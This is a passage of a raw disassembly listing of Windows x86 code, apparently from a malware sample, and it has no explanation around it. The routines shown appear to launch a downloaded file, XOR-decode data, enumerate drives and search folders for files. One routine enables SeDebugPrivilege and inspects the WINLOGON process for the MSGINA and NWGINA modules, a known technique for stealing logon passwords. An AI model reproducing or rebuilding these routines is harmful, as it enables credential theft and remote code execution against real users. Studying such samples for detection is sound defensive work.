mov ecx, 3E8h
push [ebp+var_20]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call ds:dword_4F533C ; CloseHandle
push [ebp+Memory] ; Memory
call _free
cmp [ebp+var_38], esi
pop ecx
jz short loc_4171FB
lea eax, [ebp+Filename]
push eax ; Filename
call sub_4010AB
cmp eax, [ebp+var_38]
pop ecx
jz short loc_4171FB
push [ebp+var_38]
mov [ebp+var_14], esi
push eax
lea eax, [ebp+Dst]
push offset asc_44E998 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_409D34
lea eax, [ebp+Dst]
push eax
call sub_415C3F
add esp, 28h
loc_4171FB: ; CODE XREF: sub_416F62+241j
; sub_416F62+253j
cmp [ebp+var_14], esi
jz loc_41743B
cmp [ebp+var_44], 1
jz loc_4172F6
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul ds:dbl_43C490
lea eax, [ebp+Filename]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+Dst]
fmul ds:dbl_43C490
fstp [esp+590h+var_590]
push offset asc_44E9C0 ; "-"
push eax ; Dest
call _sprintf
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_417276
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_409D34
add esp, 14h
loc_417276: ; CODE XREF: sub_416F62+2F2j
lea eax, [ebp+Dst]
push eax
call sub_415C3F
cmp [ebp+var_40], 1
pop ecx
jnz loc_41743B
push 5
push esi
lea eax, [ebp+Filename]
push esi
push eax
push offset aOpen_2 ; "open"
push esi
call dword_4E3064
cmp [ebp+var_30], esi
jnz loc_41743B
lea eax, [ebp+Filename]
push eax
lea eax, [ebp+Dst]
push offset asc_44EA00 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_409D34
lea eax, [ebp+Dst]
push eax
call sub_415C3F
add esp, 24h
jmp loc_41743B
; ---------------------------------------------------------------------------
loc_4172F6: ; CODE XREF: sub_416F62+2A6j
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul ds:dbl_43C490
lea eax, [ebp+Filename]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+Dst]
fmul ds:dbl_43C490
fstp [esp+590h+var_590]
push offset asc_44EA1C ; "-"
push eax ; Dest
call _sprintf
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_41735E
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_409D34
add esp, 14h
loc_41735E: ; CODE XREF: sub_416F62+3DAj
lea eax, [ebp+Dst]
push eax
call sub_415C3F
push 10h ; Size
lea eax, [ebp+var_10]
push esi ; Val
push eax ; Dst
call _memset
push 44h
lea eax, [ebp+var_310]
pop edi
push edi ; Size
push esi ; Val
push eax ; Dst
call _memset
add esp, 1Ch
mov [ebp+var_310], edi
lea eax, [ebp+var_10]
mov [ebp+var_304], offset dword_4EADD8
push 1
mov [ebp+var_2E0], si
pop edi
push eax
lea eax, [ebp+var_310]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp+Filename]
push esi
push eax
push esi
mov [ebp+var_2E4], edi
call ds:dword_4F5340 ; CreateProcessA
cmp eax, edi
jnz short loc_4173E0
call dword_4E3050 ; WSACleanup
call sub_4190F6
push esi
call ds:dword_4F5338 ; ExitProcess
loc_4173E0: ; CODE XREF: sub_416F62+46Aj
lea eax, [ebp+Filename]
push eax
push offset unk_44EA60
jmp short loc_4173FA
; ---------------------------------------------------------------------------
loc_4173EE: ; CODE XREF: sub_416F62+45j
lea eax, [ebp+var_248]
push eax
push offset asc_44EA94 ; "-"
loc_4173FA: ; CODE XREF: sub_416F62+48Aj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_41742E
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_409D34
add esp, 14h
loc_41742E: ; CODE XREF: sub_416F62+4AAj
lea eax, [ebp+Dst]
push eax
call sub_415C3F
pop ecx
loc_41743B: ; CODE XREF: sub_416F62+29Cj
; sub_416F62+325j ...
push [ebp+var_18]
call dword_4E312C ; InternetCloseHandle
push [ebp+var_48]
call sub_40BA72
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
sub_416F62 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_417454 proc near ; CODE XREF: sub_416F62+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_417470
loc_417460: ; CODE XREF: sub_417454+1Aj
mov dl, byte_43F094
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_417460
locret_417470: ; CODE XREF: sub_417454+Aj
retn
sub_417454 endp
; =============== S U B R O U T I N E =======================================
sub_417471 proc near ; CODE XREF: sub_401CC7+58C2p
; sub_401CC7+59EAp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_421680
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_417471 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41748B proc near ; CODE XREF: sub_4103EB+458p
; sub_4103EB+5FDp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h ; Size
mov edi, offset dword_4EADDC
push 0 ; Val
push edi ; Dst
call _memset
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_4174B0: ; CODE XREF: sub_41748B+5Bj
; sub_41748B+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call __aullrem
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call __aulldiv
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_4174EE
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_4174B0
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_4174B0
; ---------------------------------------------------------------------------
loc_4174EE: ; CODE XREF: sub_41748B+4Bj
dec esi
mov eax, edi
loc_4174F1: ; CODE XREF: sub_41748B+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_417500
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_4174F1
; ---------------------------------------------------------------------------
loc_417500: ; CODE XREF: sub_41748B+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_41748B endp
; =============== S U B R O U T I N E =======================================
sub_41750A proc near ; CODE XREF: sub_4176CB+51p
; sub_4176CB+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4E3158 ; GetDriveTypeA
sub eax, 0
jz short loc_41754D
dec eax
jz short loc_417547
dec eax
dec eax
jz short loc_417541
dec eax
jz short loc_41753B
dec eax
jz short loc_417535
dec eax
jz short loc_41752F
mov eax, offset dword_44EAEC
retn
; ---------------------------------------------------------------------------
loc_41752F: ; CODE XREF: sub_41750A+1Dj
mov eax, offset off_44EAE8
retn
; ---------------------------------------------------------------------------
loc_417535: ; CODE XREF: sub_41750A+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_41753B: ; CODE XREF: sub_41750A+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_417541: ; CODE XREF: sub_41750A+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_417547: ; CODE XREF: sub_41750A+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_41754D: ; CODE XREF: sub_41750A+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_41750A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417553 proc near ; CODE XREF: sub_41759B+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_4E2FE8
test eax, eax
jz short loc_417588
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; GetDiskFreeSpaceExA
loc_417588: ; CODE XREF: sub_417553+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_417553 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41759B proc near ; CODE XREF: sub_4176CB+17p
; sub_41B92C+1F3p
Dest = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_417553
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_41767E
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_41767E
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_41767E
mov edi, 400h
push 0
push edi
push [ebp+var_14]
push [ebp+var_18]
call __alldiv
push edx
push eax
call sub_41748B
pop ecx
mov esi, 80h
pop ecx
push eax
push offset aSkb ; "%sKB"
lea eax, [ebp+Dest]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
push 0
push edi
push [ebp+var_C]
push [ebp+var_10]
call __alldiv
push edx
push eax
call sub_41748B
pop ecx
pop ecx
push eax
push offset aSkb_0 ; "%sKB"
lea eax, [ebp+var_118]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
push 0
push edi
push [ebp+var_4]
push [ebp+var_8]
call __alldiv
push edx
push eax
call sub_41748B
pop ecx
pop ecx
push eax
push offset aSkb_1 ; "%sKB"
lea eax, [ebp+var_98]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
jmp short loc_4176B7
; ---------------------------------------------------------------------------
loc_41767E: ; CODE XREF: sub_41759B+2Cj
; sub_41759B+3Bj ...
lea eax, [ebp+Dest]
push offset aFailed ; "failed"
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+var_118]
pop ecx
push offset aFailed_0 ; "failed"
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+var_98]
pop ecx
push offset aFailed_1 ; "failed"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_4176B7: ; CODE XREF: sub_41759B+E1j
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+Dest]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_41759B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4176CB(int,char *Str,int,int)
sub_4176CB proc near ; CODE XREF: sub_41779D+17p
; sub_41779D+60p
Dest = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
Str1 = byte ptr -80h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_41759B
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+Str1]
push offset aFailed_2 ; "failed"
rep movsd
push eax ; Str1
call _strcmp
add esp, 10h
test eax, eax
jnz short loc_41773E
push ebx
push ebx
call sub_41750A
pop ecx
push eax
push offset asc_44EB28 ; "-"
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp short loc_417772
; ---------------------------------------------------------------------------
loc_41773E: ; CODE XREF: sub_4176CB+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+Str1]
push eax
push ebx
push ebx
call sub_41750A
pop ecx
push eax
push offset asc_44EB64 ; "-"
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 20h
loc_417772: ; CODE XREF: sub_4176CB+71j
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
lea eax, [ebp+Dest]
push eax
call sub_415C3F
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_4176CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41779D(int,char *Str,int,int)
sub_41779D proc near ; CODE XREF: sub_401CC7+2544p
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_4177BE
push [ebp+arg_C] ; int
push [ebp+arg_8] ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_4176CB
add esp, 10h
jmp short loc_41781F
; ---------------------------------------------------------------------------
loc_4177BE: ; CODE XREF: sub_41779D+9j
push esi
push edi
push ebx
push ebx
call dword_4E3060 ; GetLogicalDriveStringsA
lea esi, [eax+2]
push esi ; Size
call _malloc
pop ecx
mov edi, eax
push edi
push esi
call dword_4E3060 ; GetLogicalDriveStringsA
cmp [edi], bl
mov esi, edi
jz short loc_417816
loc_4177E2: ; CODE XREF: sub_41779D+77j
push offset aA_1 ; "A:\\"
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_417805
push esi ; int
push [ebp+arg_8] ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_4176CB
add esp, 10h
loc_417805: ; CODE XREF: sub_41779D+54j
push esi ; Str
call _strlen
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_4177E2
loc_417816: ; CODE XREF: sub_41779D+43j
push edi ; Memory
call _free
pop ecx
pop edi
pop esi
loc_41781F: ; CODE XREF: sub_41779D+1Fj
pop ebx
pop ebp
retn
sub_41779D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417822 proc near ; DATA XREF: sub_401CC7+6920o
Dest = byte ptr -49Ch
var_29C = dword ptr -29Ch
var_298 = byte ptr -298h
var_218 = dword ptr -218h
var_115 = byte ptr -115h
Str = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 49Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0A7h
mov esi, eax
lea edi, [ebp+var_29C]
rep movsd
mov dword ptr [eax+298h], 1
lea eax, [ebp+Str]
push eax ; Str
call _strlen
xor ebx, ebx
cmp [ebp+eax+var_115], 5Ch
pop ecx
jnz short loc_417877
lea eax, [ebp+Str]
push eax ; Str
call _strlen
pop ecx
mov [ebp+eax+var_115], bl
loc_417877: ; CODE XREF: sub_417822+3Fj
lea eax, [ebp+var_218]
push eax
push offset asc_44EBA4 ; "-"
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+var_8], ebx
jnz short loc_4178BC
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+var_298]
push eax ; Str
push [ebp+var_29C] ; int
call sub_409D34
add esp, 14h
loc_4178BC: ; CODE XREF: sub_417822+78j
lea eax, [ebp+Str]
push ebx ; int
push eax ; int
lea eax, [ebp+var_218]
push eax ; int
lea eax, [ebp+var_298]
push [ebp+var_C] ; int
push eax ; Str
push [ebp+var_29C] ; int
call sub_41793D
add esp, 18h
push eax
lea eax, [ebp+Dest]
push offset asc_44EBCC ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_41791D
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+var_298]
push eax ; Str
push [ebp+var_29C] ; int
call sub_409D34
add esp, 14h
loc_41791D: ; CODE XREF: sub_417822+D9j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_10]
call sub_40BA72
pop ecx
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
pop ebx
sub_417822 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41793D(int,char *Str,int,int,int,int)
sub_41793D proc near ; CODE XREF: sub_417822+B9p
; sub_41793D+9Cp
var_548 = dword ptr -548h
var_348 = dword ptr -348h
Dest = byte ptr -244h
var_140 = byte ptr -140h
var_114 = byte ptr -114h
var_113 = byte ptr -113h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 548h
push ebx
push esi
push edi
mov esi, 104h
push [ebp+arg_10]
lea eax, [ebp+Dest]
push offset aS_29 ; "%s\\*"
push esi ; Count
push eax ; Dest
call __snprintf
mov edi, ds:dword_4F53F0
add esp, 10h
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+Dest]
push eax
call edi ; FindFirstFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_4179F6
loc_417983: ; CODE XREF: sub_41793D+B7j
test [ebp+var_140], 10h
jz short loc_4179E4
cmp [ebp+var_114], 2Eh
jnz short loc_4179A7
cmp [ebp+var_113], 0
jz short loc_4179E4
cmp [ebp+var_113], 2Eh
jz short loc_4179E4
loc_4179A7: ; CODE XREF: sub_41793D+56j
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_348]
push [ebp+arg_10]
push offset aSS_9 ; "%s\\%s"
push esi ; Count
push eax ; Dest
call __snprintf
push [ebp+arg_14] ; int
lea eax, [ebp+var_348]
push eax ; int
push [ebp+arg_C] ; int
push [ebp+arg_8] ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_41793D
add esp, 2Ch
mov [ebp+arg_14], eax
loc_4179E4: ; CODE XREF: sub_41793D+4Dj
; sub_41793D+5Fj ...
lea eax, [ebp+var_140]
push eax
push ebx
call ds:dword_4F53EC ; FindNextFileA
test eax, eax
jnz short loc_417983
loc_4179F6: ; CODE XREF: sub_41793D+44j
push ebx
mov ebx, ds:dword_4F53E0
call ebx ; FindClose
push [ebp+arg_C]
lea eax, [ebp+Dest]
push [ebp+arg_10]
push offset aSS_10 ; "%s\\%s"
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+Dest]
push eax
call edi ; FindFirstFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_417A80
loc_417A31: ; CODE XREF: sub_41793D+141j
lea eax, [ebp+var_114]
inc [ebp+arg_14]
push eax
lea eax, [ebp+var_548]
push [ebp+arg_10]
push offset asc_44EC04 ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
push 1 ; int
lea eax, [ebp+var_548]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 28h
lea eax, [ebp+var_140]
push eax
push esi
call ds:dword_4F53EC ; FindNextFileA
test eax, eax
jnz short loc_417A31
loc_417A80: ; CODE XREF: sub_41793D+F2j
push esi
call ebx ; FindClose
mov eax, [ebp+arg_14]
pop edi
pop esi
pop ebx
leave
retn
sub_41793D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417A8B proc near ; DATA XREF: sub_401CC7+1CC0o
Dest = byte ptr -29Ch
var_9C = dword ptr -9Ch
Str = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
push 1
rep movsd
pop esi
mov [eax+90h], esi
call sub_41B7D8
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_417ACA
cmp eax, 2
jz short loc_417ACA
push offset unk_44EE04
jmp loc_417C09
; ---------------------------------------------------------------------------
loc_417ACA: ; CODE XREF: sub_417A8B+2Ej
; sub_417A8B+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_41A51E
pop ecx
test eax, eax
pop ecx
jz loc_417C04
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
call ds:dword_4F538C ; LoadLibraryA
mov esi, ds:dword_4F5390
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi ; GetProcAddress
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov dword_4EC020, eax
call esi ; GetProcAddress
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov dword_4EC014, eax
call esi ; GetProcAddress
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov dword_4EC224, eax
call esi ; GetProcAddress
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov dword_4EC01C, eax
call esi ; GetProcAddress
mov dword_4EC018, eax
call sub_417C5D
test eax, eax
mov [ebp+arg_0], eax
jz loc_417BD7
mov esi, ds:dword_4F52D4
mov edi, 400h
mov ebx, offset word_4EB014
push edi
push ebx
push offset aUsername ; "USERNAME"
call esi ; GetEnvironmentVariableW
push edi
mov edi, offset word_4EB814
push edi
push offset aUserdomain ; "USERDOMAIN"
call esi ; GetEnvironmentVariableW
cmp [ebp+var_4], 1
push offset dword_4EC22C
push [ebp+arg_0]
jnz short loc_417B83
call sub_417DE6
jmp short loc_417B88
; ---------------------------------------------------------------------------
loc_417B83: ; CODE XREF: sub_417A8B+EFj
call sub_417F8D
loc_417B88: ; CODE XREF: sub_417A8B+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_417BD0
cmp dword_4EC22C, 0
jnz short loc_417BB7
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+Dest]
push offset asc_44ECFC ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 18h
jmp short loc_417BEA
; ---------------------------------------------------------------------------
loc_417BB7: ; CODE XREF: sub_417A8B+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_417BC7
call sub_4180C3
jmp short loc_417BCC
; ---------------------------------------------------------------------------
loc_417BC7: ; CODE XREF: sub_417A8B+133j
call sub_41815A
loc_417BCC: ; CODE XREF: sub_417A8B+13Aj
pop ecx
push eax
jmp short loc_417BDC
; ---------------------------------------------------------------------------
loc_417BD0: ; CODE XREF: sub_417A8B+101j
push offset unk_44ED58
jmp short loc_417BDC
; ---------------------------------------------------------------------------
loc_417BD7: ; CODE XREF: sub_417A8B+B6j
push offset asc_44ED90 ; "-"
loc_417BDC: ; CODE XREF: sub_417A8B+143j
; sub_417A8B+14Aj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_417BEA: ; CODE XREF: sub_417A8B+12Aj
push 0
push offset aSedebugprivi_0 ; "SeDebugPrivilege"
call sub_41A51E
pop ecx
pop ecx
push [ebp+var_8]
call ds:dword_4F5410 ; FreeLibrary
pop ebx
jmp short loc_417C17
; ---------------------------------------------------------------------------
loc_417C04: ; CODE XREF: sub_417A8B+4Ej
push offset asc_44EDD0 ; "-"
loc_417C09: ; CODE XREF: sub_417A8B+3Aj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_417C17: ; CODE XREF: sub_417A8B+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_417C3E
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_9C] ; int
call sub_409D34
add esp, 14h
loc_417C3E: ; CODE XREF: sub_417A8B+191j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_18]
call sub_40BA72
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
sub_417A8B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_417C5D proc near ; CODE XREF: sub_417A8B+ACp
String = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, ds:dword_4F541C
mov ebx, 100h
push edi
push ebx
push 8
call esi ; GetProcessHeap
mov edi, ds:dword_4F5418
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call dword_4EC020
push ebp
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_4F5414 ; RtlFreeHeap
push [esp+28h+var_14]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call dword_4EC020
test eax, eax
jnz short loc_417D4A
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_417D4A
push 1
mov ebx, ebp
pop ecx
cmp eax, ecx
mov [esp+28h+String], ecx
jb short loc_417D4A
loc_417CE6: ; CODE XREF: sub_417C5D+EBj
cmp word ptr [ebx+8], 5
jnz short loc_417D3D
push 0
push 0
call dword_4EC014
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call dword_4EC224
test eax, eax
jnz short loc_417D2E
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax ; String
call __strupr
pop ecx
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_417D62
loc_417D2E: ; CODE XREF: sub_417C5D+AAj
test edi, edi
jz short loc_417D39
push edi
call dword_4EC01C
loc_417D39: ; CODE XREF: sub_417C5D+D3j
mov eax, [esp+28h+var_10]
loc_417D3D: ; CODE XREF: sub_417C5D+8Ej
add ebx, 10h
inc [esp+28h+String]
cmp [esp+28h+String], eax
jbe short loc_417CE6
loc_417D4A: ; CODE XREF: sub_417C5D+6Dj
; sub_417C5D+7Aj ...
xor edi, edi
loc_417D4C: ; CODE XREF: sub_417C5D+17Dj
push ebp
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_4F5414 ; RtlFreeHeap
mov eax, edi
loc_417D5A: ; CODE XREF: sub_417C5D+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_417D62: ; CODE XREF: sub_417C5D+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_417DCB
lea eax, [edi+80h]
mov [esp+28h+String], eax
loc_417D78: ; CODE XREF: sub_417C5D+16Cj
add [esp+28h+String], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+String] ; String
call __strupr
pop ecx
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_417DDF
push offset aMsgina ; "MSGINA"
push [esp+2Ch+String] ; String
call __strupr
pop ecx
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_417DBD
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_417DBD: ; CODE XREF: sub_417C5D+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
